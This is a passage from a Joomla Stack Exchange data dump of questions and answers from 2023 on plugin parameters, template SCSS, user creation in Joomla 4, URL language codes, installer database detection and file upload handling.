validate=&amp;quot;options&amp;quot; layout=&amp;quot;joomla.form.field.list-fancy-select&amp;quot;&amp;gt;&#xA;                        &amp;lt;option value=&amp;quot;site&amp;quot;&amp;gt;JSITE&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&amp;quot;contact&amp;quot;&amp;gt;CONTACT&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&amp;quot;customer&amp;quot;&amp;gt;CUSTOMER&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;/field&amp;gt;&#xA;                    &amp;lt;field name=&amp;quot;active&amp;quot; type=&amp;quot;radio&amp;quot; default=&amp;quot;0&amp;quot; label=&amp;quot;ACTIVE&amp;quot; class=&amp;quot;btn-group btn-group-yesno&amp;quot; layout=&amp;quot;joomla.form.field.radio.switcher&amp;quot;&amp;gt;&#xA;                        &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;/field&amp;gt;&#xA;                &amp;lt;/form&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The problem is, when installing the plugin, the &lt;code&gt;param&lt;/code&gt; row in the &lt;code&gt;#__extensions&lt;/code&gt; column gets prefilled with the default values defined here. But they are getting escaped from the installer.&lt;/p&gt;&#xA;&lt;p&gt;This is a part of the escaped string in the params column:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;events&amp;quot;:&amp;quot;{\&amp;quot;events0\&amp;quot;:{\&amp;quot;event\&amp;quot;:\&amp;quot;myevent1\&amp;quot;,\&amp;quot;receiver\&amp;quot;:[\&amp;quot;site\&amp;quot;,\&amp;quot;contact\&amp;quot;,\&amp;quot;customer\&amp;quot;] ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Such escaped params cannot be accessed in code via:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;params-&amp;gt;get('events')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I wrote the default values like seen here:&lt;br /&gt;&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/31332&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/31332&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When opening the plugin options in the backend, the default value works. By doing nothing other than saving the plugin again, the default values are no longer escaped and also work when accessing them.&lt;/p&gt;&#xA;&lt;p&gt;I would like the user to be able to use the plugin right after installing, without the need to go and save it once.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What needs to be done to get default subform values NOT escaped in the database when installing or discovering the plugin the first time?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;By doing this I can avoid the issue, but it's very ugly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params = (array) (\is_string($this-&amp;gt;params-&amp;gt;get('events')) ? json_decode($this-&amp;gt;params-&amp;gt;get('events')) : $this-&amp;gt;params-&amp;gt;get('events'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-05-27T12:14:24.830" LastActivityDate="2023-05-27T12:14:24.830" Title="Subform default values escaped when installing/discovering plugin first time" Tags="|plugin|installation|xml|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33068" PostTypeId="1" CreationDate="2023-05-22T22:44:22.387" Score="0" ViewCount="41" Body="&lt;p&gt;I've been reading the child theme docs and other Cassiopeia - specific documentation but can't find best practices for retaining the template.scss so that I can extend scss mixins and variables. I've created a child to the Cassiopeia template so my best guess is that I have to create my own custom.scss file in media/templates/site/cassiopeia_child/scss, then @import the template.scss file from the parent template location, and then finally edit the index.php in the child template to include custom.scss.&lt;/p&gt;&#xA;&lt;p&gt;Does this logic sound good or is there a better way?&lt;/p&gt;&#xA;&lt;p&gt;To be clear, I would like to avoid adding a user.css file since I won't be able to import the parent's scss.&lt;/p&gt;&#xA;" OwnerUserId="17071" LastEditorUserId="12352" LastEditDate="2023-05-23T19:54:04.807" LastActivityDate="2023-05-23T19:54:04.807" Title="Retaining scss inheritance with child template of Cassiopeia" Tags="|styling|cassiopeia|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33069" PostTypeId="2" ParentId="33066" CreationDate="2023-05-23T00:59:36.653" Score="1" Body="&lt;p&gt;As a 'real life' example I have built a series of Joomla components for a client who wanted a web interface, or portal, for his suppliers and clients to his windows server based accounting and stock control package to cut down on the phone calls and emails being fielded by his staff.&lt;/p&gt;&#xA;&lt;p&gt;I use Events and Plugins extensively to manage the data moving back and forth between the Joomla components and his Windows Server, a sort of transport layer if you like. The thinking behind that is the Joomla components don't need to be altered when there are changes in the software running on the windows server, for example we are beginning to move from SOAP to REST API's, but the changes are happening in the plugins and the components are untouched.&lt;/p&gt;&#xA;&lt;p&gt;There is a currently a 'Gateway' Plugin that all the other plugins use to Open and Close Sessions, it limits access during Server back ups overnight and attempts to recover itself and issue warnings when there are connectivity issues and it holds all the credentials for access.&lt;/p&gt;&#xA;&lt;p&gt;The rest of the plugins are triggered by events such as Invoice/Order/Quote has been created/modified, stock level changed, stocktaking etc in the Joomla components that are then passing data to or from that component while it has no concept(ideally) of how or where the data is going or coming from. All of these plugins trigger the Gateway plugin to get their sessions established and closed, or blocked.&lt;/p&gt;&#xA;&lt;p&gt;A future phase is to use the same events in the components with additional plugins that will pass the same data to the client's customers and suppliers own packages, eg. MYOB, Reckon, Xero, creating a B2B connection via the Joomla website to reduce telephone calls and manual re-entering. So more plugins but really no changes to the Joomla components.&lt;/p&gt;&#xA;&lt;p&gt;Without plugins handling one or more external sources I couldn't really imagine how much more complicated it would be to create and manage that code if it was coded into each of the components at each step in the process.&lt;/p&gt;&#xA;&lt;p&gt;This is a fairly niche example and I have full control of the environment, however in the case of 3rd party extensions with a user base of more than a few people the power of Events and Plugins really come to the fore if they have been implemented well, and not everything you see, included some of my own, falls into that category.&lt;/p&gt;&#xA;&lt;p&gt;Events should allow your customer base to utilise your extension(s) in ways you may not have thought of or make connections to other extensions or services that would be a logistical nightmare for you to maintain for all the possible permutations there could be.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-05-23T01:07:06.020" LastActivityDate="2023-05-23T01:07:06.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33070" PostTypeId="2" ParentId="33039" CreationDate="2023-05-23T18:28:45.157" Score="0" Body="&lt;p&gt;Yes, as you say, I think your problem is that you seem to have only 1 Editor instance, which you're displaying repeatedly. The xtd buttons are attached to the Editor class, and so because you have only 1 instance, you get only 1 set of buttons.&lt;/p&gt;&#xA;&lt;p&gt;As an alternative approach I would suggest that rather than having 1 tabseditors field in the form which displays multiple editors that instead you have multiple editor fields in the form, 1 for each editor you need to display. I presume you don't know how many languages you have to support, so you'd have to add those editor fields to the form dynamically, based on how many languages you find in the database.&lt;/p&gt;&#xA;&lt;p&gt;This is fairly straightforward - after you load the form, just set up the xml for each editor field you need and use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;load($xml);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some info on dynamically changing forms is in this &lt;a href=&quot;https://docs.joomla.org/Advanced_form_guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;form api guide&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I tried putting 2 editor fields into 2 different tabs, and the xtd buttons worked ok on both, so it is definitely possible to get it working.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-05-23T18:28:45.157" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33073" PostTypeId="1" CreationDate="2023-05-26T07:28:09.633" Score="0" ViewCount="35" Body="&lt;p&gt;I uninstalled the Nicepage plugin in Joomla after I had problems with the menu on my website. I made a menu in Joomla with all of the articles, but it wouldn't show when I opened the website in the browser.&lt;/p&gt;&#xA;&lt;p&gt;I wanted to uninstall Nicepage and reinstall it because I thought it would fix the problem, but immediately after that I got the following error on my Joomla account:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Failed opening required '/customers/4/7/9/kabot.be/httpd.www/leercentrum/administrator/components/com_nicepage/library/loader.php' (include_path='.:/usr/share/php')&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I can't do anything anymore in Joomla and I don't know what to do about it.&lt;/p&gt;&#xA;" OwnerUserId="17081" LastEditorUserId="12352" LastEditDate="2023-05-26T08:37:58.747" LastActivityDate="2023-05-26T08:37:58.747" Title="Error 0 after uninstalling Nicepage plugin" Tags="|plugin|error|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33074" PostTypeId="2" ParentId="32990" CreationDate="2023-05-26T15:55:02.627" Score="1" Body="&lt;p&gt;You have 2 options:&lt;/p&gt;&#xA;&lt;p&gt;A.) For a simple (J!3 style) content submission, you could just allow &lt;strong&gt;frontend submission&lt;/strong&gt;. The respective frontend menu item allows to restrict submissions to a specific category. There is also admin email notification through a related system plugin.&#xA;Hence that there are different permissions for Authors, Publishers.&lt;/p&gt;&#xA;&lt;p&gt;B.) For a more complex or customized content submission, &lt;strong&gt;Workflows&lt;/strong&gt; could be enabled globally. You can choose a &lt;strong&gt;workflow per category&lt;/strong&gt;! See category parameters. If you want to mimic/keep the usual standard workflow, choose the &lt;strong&gt;default&lt;/strong&gt; one.&lt;/p&gt;&#xA;" OwnerUserId="2012" LastActivityDate="2023-05-26T15:55:02.627" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33075" PostTypeId="1" AcceptedAnswerId="33076" CreationDate="2023-05-29T18:35:13.423" Score="1" ViewCount="241" Body="&lt;p&gt;In Joomla 3.x I used to create a user object with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = clone(JFactory::getUser());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(which I would then bind to an array of data, and then call save() on it), but JFactory::getUser() is deprecated now.&lt;/p&gt;&#xA;&lt;p&gt;What is the new way of creating a new blank user object?&lt;/p&gt;&#xA;" OwnerUserId="3948" LastActivityDate="2023-06-04T08:26:00.993" Title="How to programatically create a user in Joomla 4.x" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33076" PostTypeId="2" ParentId="33075" CreationDate="2023-05-30T01:20:01.803" Score="5" Body="&lt;pre&gt;&lt;code&gt;Factory::getContainer()-&amp;gt;get(UserFactoryInterface::class)-&amp;gt;loadUserById(0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla uses this line for creating an empty User object around line 287 in &lt;code&gt;..\libraries\src\User\User.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// If the $id is zero, just return an empty User.&#xA;// Note: don't cache this user because it'll have a new ID on save!&#xA;if ($id === 0) {&#xA;    return Factory::getContainer()-&amp;gt;get(UserFactoryInterface::class)-&amp;gt;loadUserById($id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You would need to add the appropriate statements for &lt;code&gt;Factory&lt;/code&gt; and &lt;code&gt;UserFactoryInterface&lt;/code&gt; in your code to get the object from the container by adding 'Use' statements, or use the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = \Joomla\CMS\Factory::getContainer()-&amp;gt;get('user.factory')-&amp;gt;loadUserById(0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-06-04T08:26:00.993" LastActivityDate="2023-06-04T08:26:00.993" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33077" PostTypeId="1" CreationDate="2023-05-30T12:34:15.630" Score="1" ViewCount="145" Body="&lt;p&gt;I have two languages installed on my website I went to the Language Filter plugin,  and configured it. &amp;quot;Remove URL Language Code&amp;quot; to &amp;quot;Yes&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com/en/company/contact.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.example.com/en/company/contact.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.example.com/es/company/contact.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.example.com/es/company/contact.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But after the change only &lt;a href=&quot;http://www.example.com/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.example.com/en/&lt;/a&gt; changed to &lt;a href=&quot;http://www.example.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.example.com/&lt;/a&gt; as it is set to default language&lt;/p&gt;&#xA;&lt;p&gt;and &lt;a href=&quot;http://www.example.com/es/&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.example.com/es/&lt;/a&gt; is as it is &lt;a href=&quot;http://www.example.com/es/&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.example.com/es/&lt;/a&gt;&#xA;How can I change it for both the languages?&lt;/p&gt;&#xA;" OwnerUserId="16785" LastActivityDate="2023-06-01T11:10:45.957" Title="Is it possible to remove language code for all languages from the URL Joomla 4 website" Tags="|joomla-4.x|url|language|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33079" PostTypeId="1" CreationDate="2023-05-31T08:12:04.347" Score="1" ViewCount="219" Body="&lt;p&gt;I am trying to install Joomla 4.3.1 on my Ubuntu 18.04 machine.  I am running Apache 2.4.57, PHP 7.4 (for Apache, apparently), PHP 8.2 is also installed, and two installations of PostGreSQL: 10.4 (port 5432) and 11 (port 5433).  I have also installed MariaDB and configured a database and user for Joomla.&lt;/p&gt;&#xA;&lt;p&gt;When I get to the point in the Joomla web installer where I configure the database, the dropdown select shows only PostGreSQL, and when I get to the point of completing the DB configuration, the installer tells me that I need PostGreSQL 11 not 10.4.  There is no way to tell it to look on port 5433 for PostGreSQL 11, and there is no way to tell it that MariaDB is available and configured as a stand-in for MySQL.&lt;/p&gt;&#xA;&lt;p&gt;I have installed the package php-mysql (as recommended here: &lt;a href=&quot;https://stackoverflow.com/questions/22319211/joomla-installation-database-type-not-showing-in-drop-down-selection-box&quot;&gt;https://stackoverflow.com/questions/22319211/joomla-installation-database-type-not-showing-in-drop-down-selection-box&lt;/a&gt; and here:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16506/joomla-install-database-configuration-not-recognizing-mysql&quot;&gt;Joomla install database configuration not recognizing MySQL&lt;/a&gt;).  These specific packages are also installed: php7.4-mysql and php8.2-mysql.&lt;/p&gt;&#xA;" OwnerUserId="17084" LastEditorUserId="12352" LastEditDate="2023-05-31T21:47:23.257" LastActivityDate="2024-03-12T08:05:25.627" Title="Joomla 4.3.1 Web installer fails to find MariaDB (MySQL) or PostGreSQL 11" Tags="|joomla-4.x|mysql|postgresql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33080" PostTypeId="1" CreationDate="2023-05-31T20:07:49.120" Score="1" ViewCount="21" Body="&lt;p&gt;A question about the joomla plugin Logman Notify. (&lt;a href=&quot;https://www.joomlatools.com/extensions/logman/documentation/plugins/notify-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlatools.com/extensions/logman/documentation/plugins/notify-plugin&lt;/a&gt;)&#xA;The Notify plugin can send activity notifications to a selected group of email addresses such as a new published article.&#xA;Author name, the action (created) and the link to the article in the admin editor are displayed in the email.&#xA;I want to modify the language/text in this email&#xA;But I can not find the key or code for this. There are many keys (in .ini files) in different files but none are linked to the email text. Besides I want the url in the email to the new page on the frontend website.&lt;/p&gt;&#xA;&lt;p&gt;I want to edit whole body: Text, language and the link.&lt;/p&gt;&#xA;&lt;p&gt;I searched in language files, searched keys in joomla language to override the content of the keys and searched code files.&lt;/p&gt;&#xA;" OwnerUserId="17088" LastActivityDate="2023-05-31T20:07:49.120" Title="Joomla Logman Notify modify email message" Tags="|plugin|extensions|emails|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33081" PostTypeId="2" ParentId="33077" CreationDate="2023-06-01T01:15:28.843" Score="1" Body="&lt;p&gt;The default behaviour of the plugin appears to be to only remove the language identifier for the default language when you have &amp;quot;Remove URL Language Code&amp;quot; to &amp;quot;Yes&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;You may be able to achieve what you want by altering the .htaccess file to have it remove the language identifier from the URL. If you are comfortable with changing the .htaccess file you can try placing this code this after the &lt;code&gt;mod_rewrite on&lt;/code&gt; statement and any other redirect statements.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} ^/es/$&#xA;RewriteRule ^es/(.*)$ /$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't have a multilanguage environment to confirm that the above is going to achieve your desired results in your environment so it is provided as is, as a starting point. However, I have tested that the code snippet won't break your .htaccess -- meaning you won't receive a HTML 500 error.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2023-06-01T11:10:45.957" LastActivityDate="2023-06-01T11:10:45.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33082" PostTypeId="1" AcceptedAnswerId="33092" CreationDate="2023-06-01T02:54:02.897" Score="0" ViewCount="152" Body="&lt;p&gt;I'm trying to adapt the solution @FFrewin provided for J3 (&lt;a href=&quot;https://joomla.stackexchange.com/questions/24590/generate-and-render-a-module-on-an-article-with-php/24595#24595&quot;&gt;Generate and render a module on an article with PHP&lt;/a&gt;) to enable me to create an instance of the mod_custom record with contents provided by my component upon creating a new record.  The following code is what I'm trying without success, so any guidance would be appreciated.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function createModule($data, $params)&#xA;{&#xA;    $doc = Factory::getDocument();&#xA;    // Use a module title, so you won't load an existing module from the database then rename it.&#xA;    $module = ModuleHelper::getModule('mod_custom', 'Custom PHP Generated Instance');&#xA;    $module-&amp;gt;style = &amp;quot;System-html5&amp;quot;;&#xA;    $module-&amp;gt;title = $data['title'];&#xA;    $module-&amp;gt;position = '';&#xA;    $module-&amp;gt;showtitle = &amp;quot;0&amp;quot;;&#xA;    $module-&amp;gt;content = &amp;quot;This is the content of the PHP generated instance of mod_custom&amp;quot;;&#xA;&#xA;    // Module Params&#xA;    $moduleParams = new Registry($module-&amp;gt;params);&#xA;    $moduleParams-&amp;gt;set('style', &amp;quot;System-html5&amp;quot;);&#xA;    $moduleParams-&amp;gt;set('moduleclass_sfx', &amp;quot; center&amp;quot;);&#xA;&#xA;    //Render the module&#xA;    $renderer = $doc-&amp;gt;loadRenderer('module');&#xA;    $moduleContent = $renderer-&amp;gt;render($module, array('params'=&amp;gt; $moduleParams));&#xA;    // tried this as well&#xA;    //ModuleHelper::renderModule($module, array('params'=&amp;gt; $moduleParams));&#xA;    return $module-&amp;gt;id;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2023-06-08T15:16:47.980" Title="Create an instance of the Custom HTML module from within my component J4" Tags="|joomla-4.x|mod-custom|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33083" PostTypeId="1" AcceptedAnswerId="33084" CreationDate="2023-06-01T10:28:38.123" Score="1" ViewCount="71" Body="&lt;p&gt;My component is using Joomla Categories and I'm using the following code to fetch a category:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$component = Joomla\CMS\Factory::getApplication()-&amp;gt;bootComponent('com_khub');&#xA;$category = $component-&amp;gt;getCategory(['published' =&amp;gt; 0])-&amp;gt;get($catid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla is complaining that class &lt;code&gt;Khub\Component\Khub\Site\Service\Category&lt;/code&gt; does not exists (at JROOT/libraries/src/Categories/CategoryFactory.php:65).&lt;/p&gt;&#xA;&lt;p&gt;Of course this works OK with &amp;quot;com_content&amp;quot; and &amp;quot;com_banners&amp;quot; and I've tried to understand where and how those components register &lt;code&gt;Joomla\Component\Content\Site\Service\Category&lt;/code&gt; and &lt;code&gt;Joomla\Component\Banners\Site\Service\Category&lt;/code&gt; respectively, but with no success (JPATH_COMPONENT/services/provider.php contents are pretty much similar to what I have for my own component),&lt;/p&gt;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-06-01T10:36:23.820" Title="How to register {my namespace]\Site\Service\Category?" Tags="|development|joomla-4.x|custom-component|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33084" PostTypeId="2" ParentId="33083" CreationDate="2023-06-01T10:36:23.820" Score="2" Body="&lt;p&gt;Silly me. I was looking at the /services/provider.php file on the administrator part.&lt;/p&gt;&#xA;&lt;p&gt;This problem was on the site part.&lt;/p&gt;&#xA;&lt;p&gt;I simply copied &amp;quot;Category.php&amp;quot; from JROOT/components/com_content/src/Service and made the necessary adjustments.&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-06-01T10:36:23.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33085" PostTypeId="1" CreationDate="2023-06-04T08:33:30.387" Score="1" ViewCount="75" Body="&lt;p&gt;Working in Joomla 4 com_users profile edit.php. I add the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img id=&amp;quot;photo_img&amp;quot; alt=&amp;quot;&amp;quot; src=&amp;quot;&amp;quot; /&amp;gt;&#xA;&amp;lt;input type=&amp;quot;file&amp;quot; id=&amp;quot;imageFile&amp;quot; name=&amp;quot;imageFile&amp;quot; onchange=&amp;quot;previewImage(event)&amp;quot;&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;    function previewImage(event) {&#xA;        var input = event.target;&#xA;        var reader = new FileReader();&#xA;        reader.onload = function(){&#xA;            document.getElementById('photo_img').src = reader.result;&#xA;        };&#xA;        reader.readAsDataURL(input.files[0]);&#xA;    }   &#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, in ProfileModel.php the following is added:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$file = Factory::getApplication()-&amp;gt;input-&amp;gt;files-&amp;gt;get('imageFile');&#xA;if ($file &amp;amp;&amp;amp; $file['error'] === 0) {&#xA;    $tempPath = $file['tmp_name'];&#xA;    $fileName = File::makeSafe($file['name']);&#xA;    $targetPath = JPATH_ROOT . &amp;lt;MY PATH&amp;gt; . '/images/' . $fileName;&#xA;    if (File::upload($tempPath, $targetPath)) {&#xA;        $response = $tempPath;&#xA;    } else {&#xA;        Factory::getApplication()-&amp;gt;enqueueMessage('Error uploading file!', 'error');&#xA;    }&#xA;} else {&#xA;    Factory::getApplication()-&amp;gt;enqueueMessage('Error uploading file!2', 'error');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And it works great! No problem! Image is previewed before submit and when form is submitted image uploads OK. So far, so good.&#xA;Now I want to add drag &amp;amp; drop function. I modify the above as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img id=&amp;quot;photo_img&amp;quot; alt=&amp;quot;&amp;quot; src=&amp;quot;&amp;quot; /&amp;gt;&#xA;&#xA;    &amp;lt;div id=&amp;quot;drop_file_zone&amp;quot; ondrop=&amp;quot;upload_file(event)&amp;quot; ondragover=&amp;quot;return false&amp;quot;&amp;gt;&#xA;        &amp;lt;div id=&amp;quot;drag_upload_file&amp;quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;Drop file here&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;or&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;input type=&amp;quot;button&amp;quot; value=&amp;quot;Select File&amp;quot; onclick=&amp;quot;file_explorer();&amp;quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;input type=&amp;quot;file&amp;quot; id=&amp;quot;imageFile&amp;quot; name=&amp;quot;imageFile&amp;quot; onchange=&amp;quot;previewImage(event)&amp;quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;    function upload_file(e) {&#xA;        e.preventDefault();&#xA;        ajax_file_upload(e.dataTransfer.files[0]);&#xA;    }&#xA;    &#xA;    function file_explorer() {&#xA;        document.getElementById('imageFile').click();&#xA;    }   &#xA;    &#xA;    function ajax_file_upload(file_obj) {&#xA;        if (file_obj != undefined) {&#xA;            //Preview image before submit&#xA;            var reader = new FileReader();&#xA;            reader.onload = function(){&#xA;                document.getElementById('photo_img').src = reader.result;&#xA;            };&#xA;            reader.readAsDataURL(file_obj);&#xA;            &#xA;            //Create and send to server formData&#xA;            var formData  = new FormData();                  &#xA;            formData.append('file', file_obj);&#xA;&#xA;            var xhr = new XMLHttpRequest();&#xA;            xhr.open('POST', &amp;lt;MY PATH&amp;gt; + 'upload.php', true);&#xA;            xhr.onload = function() {&#xA;                if (xhr.status === 200) {&#xA;                    console.log(xhr.responseText);&#xA;                } else {&#xA;                    console.error('Error uploading files.');&#xA;                }&#xA;            };          &#xA;            xhr.send(formData);&#xA;        }&#xA;    }       &#xA;    &#xA;    function previewImage(event) {&#xA;        var input = event.target;&#xA;        var reader = new FileReader();&#xA;        reader.onload = function(){&#xA;            document.getElementById('photo_img').src = reader.result;&#xA;        };&#xA;        reader.readAsDataURL(input.files[0]);&#xA;    }   &#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the upload.php file simplified is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$filename = time().'_'.$_FILES['file']['name'];&#xA;move_uploaded_file($_FILES['file']['tmp_name'], &amp;lt;MY PATH&amp;gt; . '/images/' . $filename);&#xA;die;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After all this modification, selecting file and submitting form still uploads the file, but drag and drop is not working! When file is dropped it is previewed OK, but when form is submitted, upload is not working and the Model reports error on line &lt;code&gt;if ($file &amp;amp;&amp;amp; $file['error'] === 0) {&lt;/code&gt;.&#xA;What am I doing wrong? Why formData is&#xA;not transfered to server?&lt;/p&gt;&#xA;" OwnerUserId="17096" LastActivityDate="2023-06-05T10:08:49.390" Title="Drag &amp; drop file upload is not working" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33086" PostTypeId="2" ParentId="33085" CreationDate="2023-06-05T10:08:49.390" Score="1" Body="&lt;p&gt;Finally, the problem was me! JPATH_BASE was wrongly defined in the external php file called by ajax. When set correctly, everything worked OK!&#xA;Another issue was the way I was handling the file upload on the server side. The FormData object in JavaScript appends the file using the key 'file', but in the PHP code, I was trying to access it using the key 'imageFile'. Corrected too and works great!&lt;/p&gt;&#xA;" OwnerUserId="17096" LastActivityDate="2023-06-05T10:08:49.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33087" PostTypeId="1" AcceptedAnswerId="33091" CreationDate="2023-06-06T11:04:04.913" Score="1" ViewCount="147" Body="&lt;p&gt;Good day.&lt;/p&gt;&#xA;&lt;p&gt;I created a component using&#xA;&lt;a href=&quot;https://blog.astrid-guenther.de/en/joomla-custom-fields-im-frontend-integrieren/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.astrid-guenther.de/en/joomla-custom-fields-im-frontend-integrieren/&lt;/a&gt;&#xA;&lt;a href=&quot;https://blog.astrid-guenther.de/en/joomla-frontend-editing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.astrid-guenther.de/en/joomla-frontend-editing/&lt;/a&gt;&#xA;&lt;br&gt;When editing an entry in the admin panel, the value of the user field is saved.&#xA;&lt;br&gt;When editing a record on the site, the value of the user field is not saved.&#xA;&lt;br&gt;Tell me what could be the problem?&#xA;&lt;br&gt; My component &lt;a href=&quot;https://github.com/antarey/com_test1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/antarey/com_test1&lt;/a&gt;&#xA;&lt;br&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="14793" LastActivityDate="2023-06-08T08:27:30.250" Title="Joomla 4 component and custom field" Tags="|component|joomla-4|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
